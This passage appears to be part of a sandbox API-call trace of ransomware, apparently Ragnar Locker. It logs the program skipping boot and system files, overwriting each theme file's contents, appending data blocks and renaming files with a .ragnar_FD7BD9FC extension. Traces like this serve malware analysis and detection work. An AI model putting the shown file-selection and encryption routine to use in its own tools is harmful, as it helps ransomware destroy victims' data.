ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0073.197] lstrcmpiW (lpString1="EDGE.ELM", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="EDGE.ELM", lpString2="..") returned 1 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0073.197] lstrcmpiW (lpString1="EDGE.INF", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="EDGE.INF", lpString2="..") returned 1 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.197] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dded1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.197] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.197] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.197] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.197] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6722, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.198] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dded1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.198] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dded1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.198] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0073.198] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.198] lstrcpyW (in: lpString1=0x1eab6a, lpString2="EDGE.ELM" | out: lpString1="EDGE.ELM") returned="EDGE.ELM" [0073.198] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM") returned=".ELM" [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="autorun.inf") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="boot.ini") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="bootfont.bin") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="bootsect.bak") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="bootmgr") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="bootmgr.efi") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="bootmgfw.efi") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="desktop.ini") returned 1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="iconcache.db") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="ntldr") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="ntuser.dat") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="ntuser.dat.log") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="ntuser.ini") returned -1 [0073.198] lstrcmpiW (lpString1="EDGE.ELM", lpString2="thumbs.db") returned -1 [0073.198] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0073.198] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0073.198] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0073.199] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0073.199] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0073.199] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0073.199] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0073.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm")) returned 0x20 [0073.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.199] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=47352) returned 1 [0073.199] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb8ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.199] GetProcessHeap () returned 0x580000 [0073.199] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.199] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.238] VirtualAlloc (lpAddress=0x0, dwSize=0xb8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.238] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.238] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.238] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb8f8, lpOverlapped=0x0) returned 1 [0073.240] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.240] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb8f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.240] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb8f8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb8f8, lpOverlapped=0x0) returned 1 [0073.241] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb8f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.241] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.241] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb8f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.241] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.241] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.241] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.241] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.241] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.241] GetProcessHeap () returned 0x580000 [0073.241] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.241] CloseHandle (hObject=0x100) returned 1 [0073.242] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" [0073.243] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.ragnar_FD7BD9FC" [0073.243] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.244] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0073.244] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.244] lstrcpyW (in: lpString1=0x1eab6a, lpString2="EDGE.INF" | out: lpString1="EDGE.INF") returned="EDGE.INF" [0073.244] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF") returned=".INF" [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="autorun.inf") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="boot.ini") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="bootfont.bin") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="bootsect.bak") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="bootmgr") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="bootmgr.efi") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="bootmgfw.efi") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="desktop.ini") returned 1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="iconcache.db") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="ntldr") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="ntuser.dat") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="ntuser.dat.log") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="ntuser.ini") returned -1 [0073.245] lstrcmpiW (lpString1="EDGE.INF", lpString2="thumbs.db") returned -1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.245] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf")) returned 0x20 [0073.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.247] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=529) returned 1 [0073.247] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.247] GetProcessHeap () returned 0x580000 [0073.247] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.247] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.248] VirtualAlloc (lpAddress=0x0, dwSize=0x211, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.248] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x211, lpOverlapped=0x0) returned 1 [0073.248] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.249] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x211, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.249] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x211, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x211, lpOverlapped=0x0) returned 1 [0073.249] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x211, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.249] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.249] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.249] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.249] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.249] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.249] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.249] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.249] GetProcessHeap () returned 0x580000 [0073.249] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.249] CloseHandle (hObject=0x100) returned 1 [0073.250] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" [0073.250] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.ragnar_FD7BD9FC" [0073.250] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.251] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.251] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.251] lstrcpyW (in: lpString1=0x1eab6a, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.251] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned=".GIF" [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.251] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.252] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.252] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0073.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0073.252] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1347) returned 1 [0073.252] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x53a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.252] GetProcessHeap () returned 0x580000 [0073.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.252] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.254] VirtualAlloc (lpAddress=0x0, dwSize=0x543, 